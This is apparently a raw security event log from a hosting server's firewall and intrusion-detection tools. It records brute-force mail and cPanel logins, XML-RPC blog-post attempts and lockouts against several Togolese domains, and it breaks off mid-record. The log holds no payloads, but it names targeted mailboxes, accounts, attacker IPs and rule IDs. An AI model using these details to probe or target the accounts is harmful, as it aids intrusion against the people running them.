description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f07e621502b7feb06f9d747b8a960ee8706aebfd||Title:0x46330e30||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 90.73.180.100
country_id: 3017382
domain: ca-togo.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:94214.ca-togo.org||ServerName:ca-togo.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9b84ba45803dfa0231bbc0e83063719bae4146af||Title:0x84992dda||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a065543d393bd31842cc1d5ed6067746338f562d||Title:0xd5e342d7||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ef5ee486b25f67613b540d09d6c01ddf55185aa2||Title:0x71345768||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:78be9e21043076fb5953478a389e854dad7d7a07||Title:0x1eefb312||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 188.198.59.141
country_id: 3190538
description:
188.198.59.141 - - [12/Jun/2026:20:41:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6656922&pdata=https%3A%2F%2Flacs1.mairie.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781296873 HTTP/1.1" 302 0 lacs1.mairie.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:188.198.59.141


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.198.59.141
country_id: 3190538
description:
[2026-06-12 20:41:16 +0000] info [cpaneld] 188.198.59.141 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eef727bd42cddf788acb5037c67f57eb89df45bc||Title:0xb160cebd||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dddfbffdc6373a864f408a6a65037168f9d5b768||Title:0xe46f254d||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 146.103.44.135
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:146.103.44.135||TA:146.103.44.135||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.116.250.172
country_id: 3017382
domain: www.ca-togo.org
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:194.116.250.172||TA:194.116.250.172||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d04a29325697b40f89b8b451f5d1c691dc46b95b||Title:0x62274c28||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:42:31 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (JePoZtq9k) [192.99.255.73]:63101: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 116.110.40.61
country_id: 1562822
description:
[2026-06-12 20:44:02 +0000] info [cpaneld] 116.110.40.61 - bie "GET /login/?login_only=1&user=bie&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bie (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:43:29 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (kEv9eHIbvM) [192.99.255.73]:49609: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.202.66.94
country_id: 290557
description:
[2026-06-12 20:43:30 +0000] info [cpaneld] 94.202.66.94 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.141.13.253
country_id: 2510769
description:
[2026-06-12 20:43:34 +0000] info [cpaneld] 89.141.13.253 - bieredjama "GET /login/?login_only=1&user=bieredjama&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredjama (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.112.150.145
country_id: 1210997
description:
[2026-06-12 20:43:42 +0000] info [cpaneld] 103.112.150.145 - bieredjam "GET /login/?login_only=1&user=bieredjam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredjam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.242.165
country_id: 1733045
description:
[2026-06-12 20:43:58 +0000] info [cpaneld] 27.125.242.165 - bier "GET /login/?login_only=1&user=bier&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bier (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a4c673412b65c543c5ce20395aaf65f182ec6eac||Title:0x0921b73e||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.72.231.115
country_id: 3469034
description:
[2026-06-12 20:43:37 +0000] info [cpaneld] 177.72.231.115 - bieredjamatg "GET /login/?login_only=1&user=bieredjamatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredjamatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.64.13
country_id: 3658394
description:
[2026-06-12 20:43:46 +0000] info [cpaneld] 157.100.64.13 - bieredja "GET /login/?login_only=1&user=bieredja&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bieredja (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.78.229
country_id: 1512440
description:
[2026-06-12 20:43:51 +0000] info [cpaneld] 84.54.78.229 - biered "GET /login/?login_only=1&user=biered&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user biered (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:58bf6e2484212dcbbad700d30fd7de88540204da||Title:0x06dc7a1f||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:44:26 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Lc1gWBPgR) [192.99.255.73]:53464: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:45:23 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (hQOpYco) [192.99.255.73]:57325: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:46:20 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (4mmjBc0PyD) [192.99.255.73]:61133: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:45:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:05e1c54561662812e5674fbaf74e0c39ce4920ed||Title:0xa316dedf||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4e2e145cd276c6a68c3bcdfdda05dbee97246ba6||Title:0x42d80d16||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:46:39 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Yc0OOcX) [192.99.255.73]:62384: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:46:37 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:47:36 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (V646JZZ) [192.99.255.73]:49735: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2ea5297425d17960c157e2a63f9ca01fe075c58d||Title:0x755ea03d||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:47:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:748904349ce736cb5269eb3abfbd5802ee4b32ad||Title:0xacf00f85||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:48:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:48:33 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (DrzRehu9) [192.99.255.73]:53595: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:98d9020d5cf71821a8e2260aba6c6595203db562||Title:0x728d6a1a||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:49:30 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (GpE8Us) [192.99.255.73]:57366: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 20:50:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:49:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cdc0ed4ba45937f66d0d87d356854b430d2ad64c||Title:0x6578d596||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:50:27 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Artimol) [192.99.255.73]:61171: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:50:46 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (dcLDErQ) [192.99.255.73]:62426: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:20:51:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131096&pdata=http%253A%252F%252Fwww.afriquerevelation.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781297461 HTTP/1.1" 302 0 www.afriquerevelation.tg "http://www.afriquerevelation.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 12 20:51:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:51:24 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (zIc1tTuF) [192.99.255.73]:64997: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b6d0ab1f603c7f148deb3803525daf2f109a0266||Title:0xbe5560df||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:53:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:52:21 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (rN60yf) [192.99.255.73]:52431: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b3c5d0080f87023816dc94b47163aee4b77fdaf5||Title:0x7acf6953||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:53:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:53:37 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (cvfCHWVk) [192.99.255.73]:57494: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:20:53:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119365&pdata=http%253A%252F%252Fgfcusr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781297610 HTTP/1.1" 404 561 gfcusr.mediatopnews.tg "http://gfcusr.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b2475488dba2f5a56cc0829ca36fa13041b16755||Title:0xec2704fa||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:54:34 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (c2M8eTtbcX) [192.99.255.73]:61267: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 20:55:04 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52568: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0469e0166f01db04d9d9270262a98374c3cb3073||Title:0xedaa76e8||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:54:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:55:12 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (P0QWKjdOp) [192.99.255.73]:63787: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:882a274f58549242d0812a4bcde265fc596d95b8||Title:0x58bb2fa0||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:55:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:55:31 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (ZbU5sEdW) [192.99.255.73]:65055: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.180.61.236
country_id: 2921044
description:
2026-06-12 20:55:21 dovecot_plain authenticator failed for H=(muo9m47z5pk6dtbuwi) [5.180.61.236]:32483: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.57.54
country_id: 1269750
description:
2026-06-12 20:56:33 dovecot_plain authenticator failed for H=(barldeed) [182.95.57.54]:43798: 535 Incorrect authentication data (set_id=admin@cloud-et-racks.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:56:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:56:28 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Tp28tz6j) [192.99.255.73]:52449: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.57.54
country_id: 1269750
description:
Jun 12 20:56:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.57.54 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.0.52.39
country_id: 953987
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.134.136.71
country_id: 1227603
domain: centif.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:47143.centif.tg||ServerName:centif.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:80b24845dbbe00069953852c21ce9ed00e0854c9||Title:0x3a9fc9b3||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 20:57:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:57:25 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Gy8D2r) [192.99.255.73]:56217: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.0.52.39
country_id: 953987
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:58:22 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (QKJzBc) [192.99.255.73]:59987: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:59:38 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (z5COe01elR) [192.99.255.73]:65023: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 20:59:57 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (qEsq5v1) [192.99.255.73]:49931: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.189.99.57
country_id: 1168579
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:01:11 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:00:35 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (PH0vIF7) [192.99.255.73]:52494: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.189.99.57
country_id: 1168579
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/femmes-tics-et-promotrices-denfants-genies-informatiques-au-cameroun/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:01:32 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (dqzhDl8W) [192.99.255.73]:56288: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:01:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:02:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
